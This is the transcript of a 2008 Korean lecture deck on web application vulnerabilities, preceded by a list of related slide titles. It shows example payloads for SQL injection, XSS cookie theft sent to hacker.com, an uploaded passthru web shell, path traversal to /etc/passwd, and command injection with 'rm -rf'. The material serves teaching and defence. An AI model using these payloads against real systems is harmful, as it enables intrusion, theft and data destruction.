Web Vulnerabilities 정보 보호 2008/05/31 Getroot.

Slides:



Advertisements
Similar presentations
전공 : 컴퓨터 공학 전공 과목 : 인터넷 정보 검색 학번 : , 이름 : 조 항 두, 오 철 원 발표일 :
Advertisements

Term Project Hints Topics Keep-alive CGI Multi-thread Multi-process Event-based.
1. Section I. 웹 프로토콜과 로그의 이해 1. 웹 프로토콜 1.1 통신 절차 1.2 HTTP Request 1.3 HTTP Response 2. 웹 로그 2.1 W3C 유형 2.2 NCSA 포맷 2.3 로그 분석 2.
LOGO 중소기업체 대상 무료 정보보안컨설팅 제안서. LOGOClick To Edit Title Style 목 차 한국 IT 전문학교 해킹 피해 사례 제안의 개요 및 목적 보안컨설팅 수행 절차 기대효과 조직도 및 연락처.
박승제 웹 애플리케이션 기술 박승제
Chapter 02. 웹에 대한 이해. Chapter 02. 웹에 대한 이해 웹의 역사 HTTP 웹 애플리케이션 기술.
- SW_Desing Study Group -
DB Injection과 대응방안 nwkim.
Introduction to Django
김 상 국, 김 기 훈 한남대학교 컴퓨터공학과 데이터베이스 실험실
HTML과 CGI 프로그래밍 PHP 웹 프로그래밍 (PHP Web Programming) 문양세
웹 해킹 기초와 실습.
소프트웨어시스템설계(6주) 데이터베이스 연동
Safecode® 3.0 ㈜코드원 웹 애플리케이션 취약점 제거 및 관리 솔루션
Python Bottle Web Framework
12장. JSP에서 자바빈 활용 제12장.
Section IV. 웹 취약점 분석도구의 활용
Chapter 05 SQL 인젝션 공격.
Chapter 32 Analyzing Web Traffic
2 서블릿의 기초.
1. JSP(Java Server Pages) 소개
9장. 요청 흐름제어와 모듈화 #1: <jsp:forward> 액션태그 사용
JSP 내장 객체 개요 내장 객체 (참조 변수 이름) 자바 클래스 주요 역할
5 익셉션 처리.
서버의 종류와 기능 환경공학과 권진희.
Chapter 04. 웹 보안 : 웹, 그 무한한 가능성과 함께 성장한 해킹
Web Server와 DB 연동.
1장. JSP 및 Servlet을 활용한 동적 웹 프로그래밍 소개 제1장.
Web Servers (IIS & Apache)
1. JSP(Java Server Pages) 소개
1. WEB access log 형식 2. WEB access log 위치 3. WEB access log 분석
김승겸 한남대학교 컴퓨터공학과 인공지능 실험실
125. WAPPLES Policy Setting Guideline
4 쿠키와 세션.
ASP 정 보 보 호 학 과 양 계 탁.
Chapter 02 웹의 이해.
박 명 호 한남대학교 컴퓨터공학과 인공지능 실험실
구글해킹과 SQL인젝션 지창훈, 최연우.
중 간 고 사 (웹프로그래밍)
AJAX 커머스아이 박준열.
인터넷 보안 정보 보안 개론 5장.
Embeded 기초 다지기 2015년 10월 26일 intern Sally
웹서버와 설치에 필요한 것 WWW ( world wide web ) TCP/IP 프로토콜을 이용하는 클라이언트/서버 환경
정보보안 CH4 웹 보안.
5. JSP의 내장객체1.
JSP 내장 객체 JSP에서 기본으로 사용할 수 있는 내장 객체 종류를 알아본다. 내장 객체별 주요 기능과 메서드를 이해한다.
8 데이터베이스 사용하기.
12 데이터베이스 사용하기.
04장 웹 보안: 웹, 그 무한한 가능성과 함께 성장한 해킹
Cookie 와 Session.
Html(front end) & jsp(back end)
JDBC (Java Database Connectivity)
9장 JSP페이지의 에러처리 이장에서 배울 내용 : JSP페이지에서 에러를 처리하는 방법에 대해 학습해본다. 에러페이지를 사용한 에러처리의 문제점을 살펴보고, 현재 JSP2.0에서 권장하는 에러 처리 형태인 에러코드별 에러처리를 하는 방법에 대해 학습한다.
Network Security WireShark를 활용한 프로토콜 분석 II.
BIZSIREN 실명확인서비스 개발 가이드 서울신용평가정보㈜ 신용조회부 (TEL , FAX )
1강. 웹프로그래밍 웹프로그래밍이란? JAVA웹 웹프로그램의 동작 필요한 학습 Lecturer Kim Myoung-Ho
CGI (Common Gateway Interface)
JSP Programming with a Workbook
상품등록 방식 비교 년 4월 23일 (주)에이치케이넷츠.
KTF 무선인터넷 표준 UI 2000년 4월 SK 텔레콤 귀중 CP 제공용
전자세금계산서 제도 설명회 전자세금계산서 표준과 인증 인사말.
HTML, PHP, MySQL, Javascript
Transmission Control Protocol (TCP)
CGI (Common Gateway Interface)
SQL INJECTION MADE BY 김 현중.
JSP와의 첫 만남 간간한 JSP 프로그램을 작성하면서 앞으로 학습에 필요한 과정을 익힌다.
XSS 정 여 진.
주요공지로 정할 글을 올립니다. 제목과 주소를 복사해둡니다
웹 프로그래밍 기술 요약 Yang-Sae Moon Department of Computer Science
Web & Internet [10] 입문 – input 태그
Presentation transcript:

Web Vulnerabilities 정보 보호 2008/05/31 Getroot

Abstract 지난 10년간 웹 어플리케이션 보안의 중요성이 매우 크게 증가 하지만, 현재 웹 보안은 그 수준이 미약함 웹 기반의 대형 시스템이 많이 출현하였음 금융, 의료 서비스 하지만, 현재 웹 보안은 그 수준이 미약함 웹 시스템이 중요해졌음에도 불구하고 대부분의 시스템 보안 연구는 BoF나 Format string 에 치중됨 상업적으로 Web firewall이 사용되고 있지만 효과가 미비하여 점점 사용이 줄어듦 대부분의 웹 공격은 웹 어플리케이션에서 발생 사용자와 상호 작용 아직 실제로 사용하는 여러 웹 어플리케이션의 취약점에 대해 자세히 알아보고 웹 공격에 대한 대응 방법 연구

웹 공격 분류 Injecting Malicious Data Exploiting Unchecked Input 웹 어플리케이션에 조작된 데이터를 입력하는 공격 Parameter Tampering URL Tampering Hidden Field Manipulation HTTP Header Manipulation Cookie Poisoning Executable File Upload Exploiting Unchecked Input 사용자의 입력을 체크하지 않아서 발생하는 공격 SQL Injection Cross-site Scripting HTTP Response Splitting Path Traversal Command Injection

Parameter Tampering 웹 어플리케이션에서 사용하는 Parameter를 강제로 입력하는 공격 HTML 페이지를 수정하여 쉽게 Parameter를 강제 입력할 수 있음 특수 문자 입력을 금지하거나 공백을 금지하는 경우 텍스트 박스에 미리 값을 넣은 후(예: 상품의 가격) 이를 Read only로 단순하게 처리하는 경우 웹 페이지를 저장한 후 조작하여 다시 전송하는 방법으로 공격 [In HTML] … <script>var form = document.Login; if(!form.id.value){ return false; }</script> <input type="text" id="id" name="id“> [In Java] String strID = request.getParameter(“id”);

URL Tampering URL에 데이터가 있는 경우 이를 조작하여 공격 HTTP Protocol상 Get method를 이용하여 동작하는 방식을 공격 해당 URL에 직접 연결하여 공격 [ 정상 ] http://www.bank.com/myaccount?Sender=Attacker&DebitAmount=1000 [공격] http://www.bank.com/myaccount?Sender=Attacker&DebitAmount=-5000

Hidden Field Manipulation 웹 페이지를 저장한 후 조작하여 다시 전송하는 방법으로 공격 [ 정상 ] <input type=“hidden” name=“price” value=“100000”> [공격] <input type=“hidden” name=“price” value=“10”>

HTTP Header Manipulation A와 B 사이트가 있을 경우 A사이트를 통해 B사이트를 연결하는 것을 신뢰하기 위해 HTTP Header의 REFERER 필드를 이용 B사이트에 데이터를 전송하면서 C사이트를 통해 온 것처럼 속임 예) Cyworld에서 인터넷 결제 사이트에 연결 [HTTP Header] GET Sell.php REFERER http://www.naver.com …

Cookie Poisoning 서버의 부하를 줄이면서 사용자의 State를 저장하기 위해 Cookie를 이용 예) ID를 다른 사용자로 조작하여 물건을 구매 [Cookie file] ID=abc SessionID=1111

Executable File Upload 웹서버에서 실행될 수 있는 파일을 업로드하여 원하는 코드를 실행 현재 많은 웹 서버에서 php, jsp, asp 파일 업로드를 막고 있지만 여러 가지 방법으로 우회 예) Apache의 기능 중, 접속 국가별로 다른 페이지를 보여주기 위해 .kr, .jp와 같은 확장자를 사용함  hack.php.kr 파일을 업로드 하면 확장자가 kr이지만 php로 인식 [Hack.php] passthru($cmd) [공격] http://www.victim.com/hack.php.kr?cmd=“rm –rf “

SQL Injection 사용자 입력이 back-end database에 바로 전달되어 실행되는 취약점 웹 페이지의 Input tag에서 원하는 SQL문을 바로 넣는 것으로 공격 가능 아래 공격은 모든 사용자 이름을 출력하게 함 [JAVA] HttpServletRequest request = ...; String userName = request.getParameter("name"); Connection con = ... String query = "SELECT * FROM Users " + " WHERE name = ’" + userName + "’"; con.execute(query); [공격] <input type=“text” name=“name” value=“’or 1=1;”>

Cross-site Scripting 동적으로 생성되는 Page에 조작된 코드를 넣어서 다른 사용자에게 원하는 코드는 실행하게 하는 방법 실행 예) 다른 사용자의 개인 정보를 자신의 메일로 전송하게 함 다른 사용자에게 악성 코드를 설치함 동적으로 생성되는 Page에 특수한 코드를 넣는 것으로 쉽게 가능 [생성된 페이지] <script>… String strCookie = Document.GetCookie() Redirect(http://www.hacker.com/SaveCookie?Data=strCookie); …</script> [공격] 사용자는 자신의 Cookie 정보를 모두 공격자에게 전송하게 됨

HTTP Response Splitting 웹 어플리케이션이 HTTP response가 분리될 수 있는 보안 취약점을 갖고 있다면 Response를 조작하여 Proxy 서버를 공격 Proxy Server를 조작 Last-Modified 필드를 조작하여 Cache 날짜를 조작 Cache-Control 필드를 조작하여 Cache 데이터를 조작 [JSP] response.sendRedirect("/by_lang.jsp?lang=“+request.getParameter("lang")); [공격] http://victim.com/ redir_lang.jsp?lang=foobar%0d%0aContent- Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent- Type:%20text/html%0d%0aContent- Length:%2019%0d%0a%0d%0a<html>Getroot</html> http://victim.com//index.html HTTP/1.1 302 Moved Temporarily Date: Wed, 24 Dec 2003 15:26:41 GMT Location: http:// victim.com /by_lang.jsp?lang=foobar Content-Length: 0 <index.html 에 매칭> HTTP/1.1 200 OK Content-Type: text/html Content-Length: 19 <html>Shazam</html>

Path Traversal URL에서 Path를 직접적으로 사용한다면 조작된 디렉토리 명령으로 공격 [정상] http://www.victim.com/OpenFile.jsp?text.txt [공격] http://www.victim.com/OpenFile.jsp?../../etc/passwd

Command Injection 웹 어플리케이션에서 사용자의 입력을 직접적인 Shell 명령으로 이용한다면 이를 조작하여 원하는 명령을 실행 [ListFile.php] Passthru(ls $path); [정상] http://www.victim.com/ListFile.php?path=/etc/ [공격] http://www.victim.com/ListFile.php?path=“/etc/;rm -rf”